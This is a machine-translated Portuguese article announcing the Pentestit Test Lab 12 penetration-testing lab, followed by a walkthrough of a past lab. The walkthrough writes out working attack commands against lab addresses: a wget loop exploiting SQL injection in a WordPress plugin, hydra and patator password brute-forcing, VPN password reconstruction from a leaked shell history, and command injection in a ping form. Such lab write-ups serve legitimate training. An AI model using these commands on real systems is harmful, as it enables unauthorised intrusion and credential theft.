50 tons de token



Amanhã às 12:00, horário de Moscou, será lançado um novo laboratório de testes de penetração, o Test Lab 12, que é uma cópia de uma rede corporativa real com suas vulnerabilidades e erros de configuração inerentes. O site do laboratório já registrou 25.000 participantes, incluindo os principais especialistas no campo da segurança da informação das maiores empresas russas e internacionais.

Abaixo estão informações sobre a composição do novo laboratório, exemplos de pesquisa e exploração de vulnerabilidades e material de treinamento.

A principal ênfase dos laboratórios está no realismo: a estrutura de TI é projetada por analogia com as redes corporativas das empresas, aproximando as ações dos invasores dos hackers reais. Os participantes que atuam como invasores tentam explorar as vulnerabilidades e, se bem-sucedidos, obtêm acesso a nós individuais do laboratório, cada um dos quais contém um token. O vencedor é o participante que primeiro coletou todos os tokens , ou seja, recebeu controle total sobre a rede corporativa virtual.

Todos, independentemente do nível de habilidade, podem testar as habilidades de teste de penetração em condições o mais próximas possível das reais, sem violar a lei.

O novo laboratório consistirá em uma rede de computadores distribuída, apresentada na forma de vários perímetros com diferentes níveis de complexidade de penetração. O primeiro perímetro (externo) é o mais fácil de "romper", então o progresso se tornará mais complicado. No setor mais complexo, colocamos vulnerabilidades, cuja exploração é difícil com um grande número de participantes. Essa abordagem nos permite resolver dois problemas ao mesmo tempo:

  • permitir que todos avaliem suas habilidades em laboratório, mantendo seu realismo;
  • eliminar uma situação em que, ao explorar certos tipos de vulnerabilidades ou ao realizar um ataque, os participantes interferem entre si.



Estrelou o filme no laboratório utilizado:

  • Vários serviços de rede (Mail, DNS, AD e VPN, etc.), SIEM e DBMS;
  • WebApp e API (PHP, Python, Django, Java);
  • Aplicativos de desktop auto-escritos;
  • Serviços de suporte adicionais para realismo.

Para passar no laboratório, você precisará de:

  • habilidades de trabalho com vários protocolos de rede;
  • a capacidade de analisar dados do sistema SIEM, configurar filtros de correlação e muito mais;
  • experiência em engenharia reversa;
  • Experiência na localização de vulnerabilidades em serviços de rede e aplicativos da web.

Teste de penetração em laboratório particular


Decidimos definir o cumprimento de várias tarefas do laboratório privado do passado, que foi desenvolvido neste verão para ajudar especialistas iniciantes a adquirir rapidamente competências básicas.

Todas as informações sobre a composição do laboratório (sistemas, usuários, etc.) são fictícias e servem apenas para criar sua imagem realista.

As técnicas de teste de penetração descritas no artigo são de natureza educacional. Não quebre a lei.

Toda a estrutura da organização fictícia "UNIONSEC", composta por 15 servidores, estava localizada atrás do gateway 192.168.102.10, acessível após o estabelecimento da conexão VPN. Os participantes tiveram a tarefa de comprometer a rede corporativa do laboratório. O resultado da operação de cada uma das vulnerabilidades foi um token, que teve que ser transmitido através do formulário na página lab.pentestit.ru .



O laboratório foi atacado por 7 equipes de dois participantes, mas ninguém foi capaz de comprometer toda a rede. No entanto, algumas equipes mostraram um resultado decente.



O trabalho no laboratório exigia experiência com várias ferramentas e habilidades na realização de testes de penetração.Além disso, algumas tarefas não poderiam ser concluídas sem o conhecimento no campo do desenvolvimento e engenharia reversa. Dado o tempo limitado que foi concedido aos participantes para concluir tarefas, concluir quase metade das tarefas, em nossa opinião, é um resultado digno.



Inteligência


Usando o utilitário nmap, obtemos uma lista de portas abertas:

nmap 192.168.102.10 -sV





Site da empresa


No endereço 192.168.102.10 na seção "Entre em contato", vemos uma lista de endereços de e-mail:


De acordo com o código HTML do aplicativo, podemos assumir que ele usa o WordPress CMS e contém o plug-in wp-symposium-15.1.

Através do site www.exploit-db.com, determinamos que o plug-in é vulnerável à injeção de SQL. Por meio do URI 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size= ", estamos tentando explorar a vulnerabilidade usando o script BASH:

 #!/bin/bash for ((i=0; i<= 10; i++)) do wget --no-proxy -q -O- "http://192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA limit 1 offset $i; --" echo "" done 

Temos a lista de bancos de dados:

information_schema
wp_db


e depois de explorar a vulnerabilidade - o token:

wget -q -O- 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=* from token; --"





Mail


Enumeramos senhas usando hydra:

hydra smtp://192.168.101.10 -s 25 -L /tmp/emails -P /tmp/pass



Usando os dados recebidos, autorizamos a WUI do servidor de email e obtemos o token:




Openvpn


Ligação

No norte da web http://192.168.102.10:88 carregamos o arquivo “openvpn.conf”. Depois de verificar o servidor (por exemplo, com o utilitário DirBuster), encontramos .bash_history :

-bash: generating new OpenVPN password for user admin: command not found
-bash: generating: command not found
-bash: date +%F: command not found
-bash: echo "admin:`date +%F | md5sum | sed -s 's/ -//'`" > /etc/openvpn/user.pass: command not found
cat /etc/openvpn/user.pass
service openvpn restart
exit


onde você pode encontrar o nome de usuário e o algoritmo de geração de senha. Para reproduzir a senha criada anteriormente, use a data exata em que o arquivo foi criado:



e realizar a conversão de acordo com o histórico das equipes. A senha resultante é usada para autenticação VPN.

Verificação do servidor

Após conectar-se à VPN, verificaremos as portas do servidor:



Obtemos o token em http://10.255.0.1:8080 :





TERMINAL


O servidor VPN nos envia vários roteamentos para redes internas, após a varredura, onde encontramos vários hosts com uma porta 22 aberta. Tentamos fazer login na conta de desenvolvedor. Após conectar-se a um dos servidores, encontramos a presença do diretório / home / support e tentamos selecionar uma senha para a conta com o mesmo nome:

patator ssh_login host=192.168.11.5 user=support password=FILE0 0=usr/share/wordlists/rockyou.txt -x ignore:fgrep='Authentication failed'



Depois de coletar a senha, obtemos o token localizado no diretório inicial:



Engenharia reversa


No servidor TERMINAL, conseguimos encontrar o admin.bin , cuja ação termina quando a senha é solicitada. Usando o inverso, obtemos a senha fv34cm3cm , que é um token. Quando você o digita, recebemos a SSH PRIVATE KEY .

A partir da chave privada, autenticamos no servidor 192.168.11.2 , no qual encontramos o arquivo dump.pcap no dump.pcap /opt/ . Analisamos o despejo de tráfego de rede do arquivo e extraímos o token, bem como a senha para autenticação BASIC no servidor da Web 192.168.11.3 :

tcpdump -r /tmp/dump.pcap -A | grep token





API


Em 192.168.11.3 , a API está localizada, acessível no PC do administrador. Usando a tradução de portas (por exemplo, através do SSH), iniciamos seu estudo.

Depois de explorar a vulnerabilidade descoberta na API, obtemos um token que faz parte da senha do usuário admin :



Um aplicativo da web está disponível em http://172.16.0.4 , que está em desenvolvimento. No arquivo readme.html , obtemos uma lista de páginas desenvolvidas:



Ao abrir http://172.16.0.4/availability.php , obtemos um erro. Tentamos repetir a ação usando o parâmetro REFERRER http://172.16.0.4/index.html , após o qual o formulário com o botão ping fica disponível:



Depois de garantir que o campo de entrada não tenha filtragem, obtemos o token:


Estamos conectados via SSH ao servidor 172.16.0.1 . Após a autorização, somos recebidos por um script que solicita um código PIN (5 dígitos):



Usando um script auto-escrito de adivinhação de senha, obtemos acesso total ao console e localizamos o arquivo com o token na pasta do usuário:




De volta ao futuro


Para nos acostumarmos rapidamente ao 12º laboratório, preparamos uma pequena lista de materiais e ferramentas:


Vejo você no "Laboratório de testes 12" e deixe a vitória mais forte!

Source: https://habr.com/ru/post/pt432940/


All Articles